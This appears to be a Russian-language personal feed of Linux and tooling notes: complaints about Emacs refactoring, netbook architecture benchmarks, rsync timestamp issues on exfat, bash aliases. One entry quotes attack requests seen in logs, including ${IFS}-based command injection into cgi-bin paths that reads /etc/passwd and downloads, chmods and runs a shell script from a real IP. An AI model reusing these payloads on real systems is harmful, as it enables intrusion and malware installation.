> Мне не надо ничего дописывать, мне надо чтобы когда я переношу функцию из файла «a» в файл «b», во всем местах программы где эта функция используется, «from a import function» изменилось на «from b import function». Я же вроде не многого прошу? Про подобные элементарные вещи в 2024м году стыдно говорить вообще, но почему-то хваленый имакс этого не умеет. > > Я не пишу на питоне, поэтому не скажу. В C/C++ проектах eglot автоматически #include’ы дописывает. > Вот так и рождается миф о могучем GNU Emacs. Сколько есть роликов на ютубе рекламирующих силу и мощь имакса, это всегда какой-то флуд про орг-мод (да нахер он мне не нужон ваш орг-мод), какие-то рассказы про «перешёл на имакс и не жалею», какие-то хелло-ворды в качестве примера, а когда дело доходит до конкретики - ну… я сам этим не пользуюсь, ну… попробуй другой плагин, ну… это юникс-вей ты просто не понимаешь. Да не хочу я понимать, я хочу чтобы программа работала из коробки и помогала мне автоматизировать рутину. Я не хочу ковыряться в лиспе, не хочу знать что там под капотом есть какой-то eglot, я не хочу компилировать Emacs из исходников, чтобы активировать поддержку treesitter, я знать не хочу что такое treesitter, это не нужно мне чтобы писать программы в рамках моих компетенций. И более всего я не хочу ничем из всего этого набора веселых равлечений для кружка «собери себе ИДЕ из говна и палок» заниматься потому, что даже после всех ковыряний, настроек и допилок оно не работает, как надо. Ты удаляешь файл в одном плагине, но он продолжает отображаться в другом, потому что они никак не синхронизируются, ты не можешь приметить цветовую схему для всей программы, потому все плагины индивидуально настраиваются, ты устанавливаешь плагин и видишь краказябры, потому что какого-то шрифта в системе не хватает - и прочее и прочее. Потом ты окрываешь Idea, видишь там, например, предиктивный автокомплит, который ты раньше даже не замечал, потому что… а в смысле, а чо такова? и понимаешь, что две недели на настройку Emacs ты потратил абсолютно впустую. https://www.linux.org.ru/forum/development/17471550?cid=17472261 И вообще весь тред про ужасное качество инструментов под линукс. Особенно в "stable" (r) (tm) Debian

Кстати вчера обнаружил гитхаб как шелл/ftp Берём любой адрес с гитхаба только меняем tree на trunk и svn ls урл и svn extract урл Очень удобно Осталась микро шелл сделать с cd, pushd/popd

Долго анализировали какой разрядности линукс лучше поставить на нетбуки 2010х годов. Особенно с распаянной ОЗУ в 1 или 2 гб. Итого x64 выйгрывает на синтетике (ffmpeg, 7z b) на 10-15%. glmark2 даёт одинаковые результаты. НО mpv без vdpau/vaapi работает куда бодрее (720р на x64 грузит тестовый проц на 60% когда на i686 под 100% и кадры пропускаются). Жор 300мб на x64 против 212мб на i686. Веб браузер qute browser тоже работает сильно бодрее. Во первых я так понял qt6-webengine для i686 больше невозможен. А qt5-webengine работает совсем грустно. Даже на большой статической странице(любые онлайн доки) лаги при скроллинге. По жору тоже x64 300 мб у qt6 против 200мб i686 qt5 на тестовой странице. Итого выбираем x64 ради скорости и комфортной работы но открываем одновременно меньше приложений. В будущем посмотрим как это всё зависит от версии ядра. В этот раз все тестировали на 6.1.55 (вроде lts).

rsync синхронизирует одни и те же файлы. Снова и снова. Угадайте почему? Правильно. У xfs разрешение mtime - микросекунды. У exfat - секунды. rsync пишет новое время но доли секунды теряются. Итого на exfat файл формально более старый. И снова пишем... И таких файлов тут пол xfs раздела. Итого либо костыли c for touch sed убрать доли секунды/d либо возможно есть опции монтирования xfs округлять времена файла. Погуглю. Кстати в отличие от cp -vur, rsync —inplace реально новое содержимое файла не пишет тк если кластер не менялся он не пишется. Только вечно пытается обновить атрибуты. [ ~ ] /usr/bin/diff <(stat /home/bga/mnt/storage_windows_protected/docs/p0.png) <(stat /home/bga/storage_protected/docs/p0.png) 1c1 < File: /home/bga/mnt/storage_windows_protected/docs/p0.png --- > File: /home/bga/storage_protected/docs/p0.png 3,7c3,7 < Device: 254,5 Inode: 1908 Links: 1 < Access: (0664/-rw-rw-r--) Uid: ( 1000/ bga) Gid: ( 1000/ bga) < Access: 2023-09-11 03:00:00.000000000 +0300 < Modify: 2023-09-11 17:08:12.000000000 +0300 < Change: 2023-09-11 17:08:12.000000000 +0300 --- > Device: 254,4 Inode: 2671771 Links: 1 > Access: (0644/-rw-r--r--) Uid: ( 1000/ bga) Gid: ( 1000/ bga) > Access: 2023-09-11 17:08:12.175852112 +0300 > Modify: 2023-09-11 17:08:12.175852112 +0300 > Change: 2023-09-11 17:08:12.175852112 +0300

Archeivment unlocked. Забыл баш трюк и искал собственный комментарий на лоре

Впервые сам собрал и опакетил софт. Xbps-src рулит.

Надоело работать машинисткой # cat .bashrc ... alias c=&#39;cat&#39; alias g=&#39;grep&#39; alias gn=&#39;grep -v&#39; alias gf=&#39;fgrep&#39; alias gfn=&#39;fgrep -v&#39; alias t=&#39;tail&#39; alias tf=&#39;tail -f&#39; alias e=&#39;micro&#39; alias l=&#39;less&#39; __f() { awk "{ print \$$1 }" } alias f=&#39;__f&#39; # c .bashrc | gf alias | f 2

/data/cgi-bin/;cat$IFS/etc/passwd /data/cgi-bin/;cd${IFS}/var/tmp;${IFS}wget${IFS}http:/104.244.76.7/Alan.sh;${IFS}chmod${IFS}777${IFS}Alan.sh;${IFS}./Alan.sh;${IFS}rm${IFS}-rf${IFS}Alan.sh /data/cgibin/mainfunction.cgi&action=login&keyPath=wget+http:/104.244.76.7/Alan.sh+;+chmod+777+Alan.sh+;+sh+Alan.sh&loginUser=a&loginPwd=a Какиры попёрли

> СЯУ: cp src/. dst/ > аналогично > rsync src/ dst/ > потому что cp создаст в dst каталог "." и скопирует в него всё из "src/." . То есть скопирует всё в dst не создавая каталог "dst/src", что частая проблема для меня > (там надо ещё -r хотя бы добавить для каталогов, да)